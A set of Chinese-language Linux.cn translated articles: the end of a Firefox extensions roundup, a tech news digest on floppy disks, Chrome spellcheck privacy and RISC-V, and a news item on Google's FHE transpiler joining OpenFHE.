如果你是 Vim 用户，我就不需要向你解释了，自己去试试吧！你会回来感谢我的。

对于那些不知道这个扩展做什么的人，它允许你仅使用 Vim 样式的键在 Firefox 中导航。按 `J` 键向下滚动、`K` 键向上滚动、`X` 键关闭当前选项卡、`T` 键打开一个新选项卡，以及各种其他键盘快捷键。

虽然这个扩展有“**实验性**”标志，但在过去一两年的使用经验中，我没有遇到任何问题。

>
> **[下载 Vimium-FF](https://addons.mozilla.org/en-GB/firefox/addon/vimium-ff/)**
>
>
>

### 11、FireShot

![fireshot](/data/attachment/album/202209/19/142057sku8sehuue75j7th.jpg)

FireShot 是一个非常简单的 Firefox 扩展，它允许你将完整的网页截图并保存为长图或 PDF 文件，最重要的是，你还可以在截图上注释（哈哈哈）！但是注释功能只能在 Windows 上使用，真是太可惜了！

它**没有 Firefox 的“推荐”徽章**。 因此，你可以在决定使用它之前在其附加页面上探索更多有关它的信息。

>
> **[下载 FireShot](https://addons.mozilla.org/en-GB/firefox/addon/fireshot/)**
>
>
>

### 总结

本文涵盖了各种 Firefox 扩展，我认为这些扩展应该有助于改善你的 Web 浏览体验。

你最喜欢的 Firefox 扩展是什么？ 在下面的评论中让我知道你的想法。

---

via: <https://itsfoss.com/firefox-add-ons/>

作者：[Pratham Patel](https://itsfoss.com/author/pratham/) 选题：[lkxed](https://github.com/lkxed) 译者：[gpchn](https://github.com/gpchn) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出


硬核观察 #764 “销售软盘的最后一人”

Summary: • “销售软盘的最后一人”• Chrome 的增强拼写检查会将你的表单数据传递到谷歌 • Arm 高管称 RISC-V 在数据中心领域算不上竞争对手

也许RISC会在单片机或其他特定领域有着开源自由定制的优势，但我并不看好它与ARM 的竞争。

各自在各自的细分领域活下去，这也许就是最终的归宿。

毕竟强如GOOGLE 也解决不了android 碎片化的问题，更何况 RISC 这种从指令都不统一的呢，MIPS 前车之鉴 还没远离呢

loongarch 也不是横空出世，而是 经过实践最后迈出的一步，且龙芯联盟对于指令的定制及新增 都有着更强的归属主导权，终将与X86指令 殊途同归

![](/data/attachment/album/202209/19/165201zsqzcuc3bq6ddk8c.jpg)

![](/data/attachment/album/202209/19/165208mkekeq77e883q3v8.jpg)

### “销售软盘的最后一人”

专注于销售和回收软盘的 [Floppydisk.com](http://floppydisk.com/) 创始人 Tom Persky 自称是“该行业最后一人”。他早期的生意是软盘复制，在上世纪曾经兴盛一时，利润丰厚。但随着软盘的使用下降，他开始销售空白软盘，他如今是全球软盘的供应商。他说之所以还在销售软盘是他“忘记退出这个行业了”。他买下了数百万张空白软盘，然后靠着销售库存和回收软盘为生。他目前的库存大约还有 50 万张，包括 3.5 英寸、5.25 英寸 和 8 英寸等不同尺寸的软件。

>
> **[消息来源：aiga](https://eyeondesign.aiga.org/we-spoke-with-the-last-person-standing-in-the-floppy-disk-business/)**
>
>
>

>
> 老王点评：其实才二十年，软盘已经销声匿迹了（除了日本之外）。我觉得，现在或许是收藏一些这个“3D 打印的保存图标”的时候了。
>
>
>

![](/data/attachment/album/202209/19/165223glytmrdrjpm6rd0i.jpg)

### Chrome 的增强拼写检查会将你的表单数据传递到谷歌

一家 JavaScript 安全公司称，当用户手动激活 Chrome 的增强拼写检查功能和 Edge 的微软编辑器的拼写和语法检查器时，实际上是将你的表单数据发送到谷歌或微软。而你在表单中输入的数据可能包括个人身份信息、住址、电子邮件、信用卡号码等等机密信息。如果启用“显示密码”，甚至会将你的密码发送出去。这两种浏览器都有自己的默认启用的基本拼写检查器，它们不会构成安全风险，因为它们的行为与增强功能不同。

>
> **[消息来源：Bleeping Computer](https://www.bleepingcomputer.com/news/security/google-microsoft-can-get-your-passwords-via-web-browsers-spellcheck/)**
>
>
>

>
> 老王点评：很显然，“增强”的拼写检查需要服务器端的处理，自然会将你的输入传输到服务器上。类似的，现在云输入法，也会将你的输入事无巨细地传输到别人的服务器上。
>
>
>

![](/data/attachment/album/202209/19/165237nzdb91vvg31wfs58.jpg)

### Arm 高管称 RISC-V 在数据中心领域算不上竞争对手

在近日召开的新闻发布会上，Arm 高管承认，RISC-V 确实带来了一些竞争压力。但他说，“虽然 RISC-V 自 2010 年以来就有了，但最近才进入商业产品。”Arm 公司的另外一位高管称，“我们真的不认为 RISC-V 现在或在不久的将来是我们在数据中心领域的重要竞争对手。”他认为 RISC-V 更适合于小众或专业应用。

>
> [消息来源：The Register](https://www.theregister.com/2022/09/17/arm_riscv_datacenter_competiton/)
>
>
>

>
> 老王点评：就像当年的 Linux 一样，谁能想到它能干倒 Unix 和 Windows 服务器呢？我看好 RISC-V 未来的发展，这或许要不了几年。
>
>
>


谷歌使用 Duality 主导的完全同态开源加密库

Summary: 合作伙伴关系的增长加速了 FHE 市场的采用。

合作伙伴关系的增长加速了 FHE 市场的采用。

![](/data/attachment/album/202209/20/102125dwt5412mte8tts8v.jpg)

>
> 合作伙伴关系的增长加速了 FHE 市场的采用。
>
>
>

据 Duality 技术公司的新闻稿，谷歌已将其在 GitHub 上开源的使用 XLS SDK 开发的开源项目完全同态加密（FHE）转译器与领先的开源<ruby> 完全同态加密 <rt>  fully homomorphic encryption </rt></ruby>库 OpenFHE 合并。通过使加密知识更简单、更容易接近，开发者对 FHE 的采用将增加。

这类称为 FHE 的加密技术不同于更常见的加密技术，因为它可以直接对加密数据进行计算，而无需密钥。一个由知名密码学家组成的社区创建了 OpenFHE，这是一个根深于后量子开源晶格密码学的加密库。

该库旨在实现最佳可用性、增强的 API、模块化、跨平台可移植性，以及与硬件结合时的项目加速器。开发人员可以通过将 OpenFHE 与谷歌的转译器结合起来，使用高级代码来操作加密数据，例如经常用于未加密数据的 C++，而不需要学习密码学。

谷歌的转译器简化了使用 FHE 驱动的应用程序的过程，而无需目前从头开始构建 FHE 所需的广泛的软件开发专业知识。这填补了软件设计人员和开发人员偶尔遇到的空白，他们希望从 FHE 的功能中受益，而不必经历那具有挑战性的学习曲线。

Duality 公司的密码学研究高级主管兼首席科学家 Yuriy Polyakov 补充说：“我们的团队通过我们的 OpenFHE 库达成了重要的里程碑，它已迅速成为当今许多技术领导者的选择，例如谷歌。谷歌转译器为那些非 FHE 专家的应用开发者社区提供了 OpenFHE 同态加密的最新技术。”

---

via: <https://www.opensourceforu.com/2022/09/google-uses-fully-homomorphic-open-source-duality-led-encryption-library/>

作者：[Laveesh Kocher](https://www.opensourceforu.com/author/laveesh-kocher/) 选题：[lkxed](https://github.com/lkxed) 译者：[littlebirdnest](https://github.com/littlebirdnest) 校对：[wxy](https://github.com/wxy)

本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出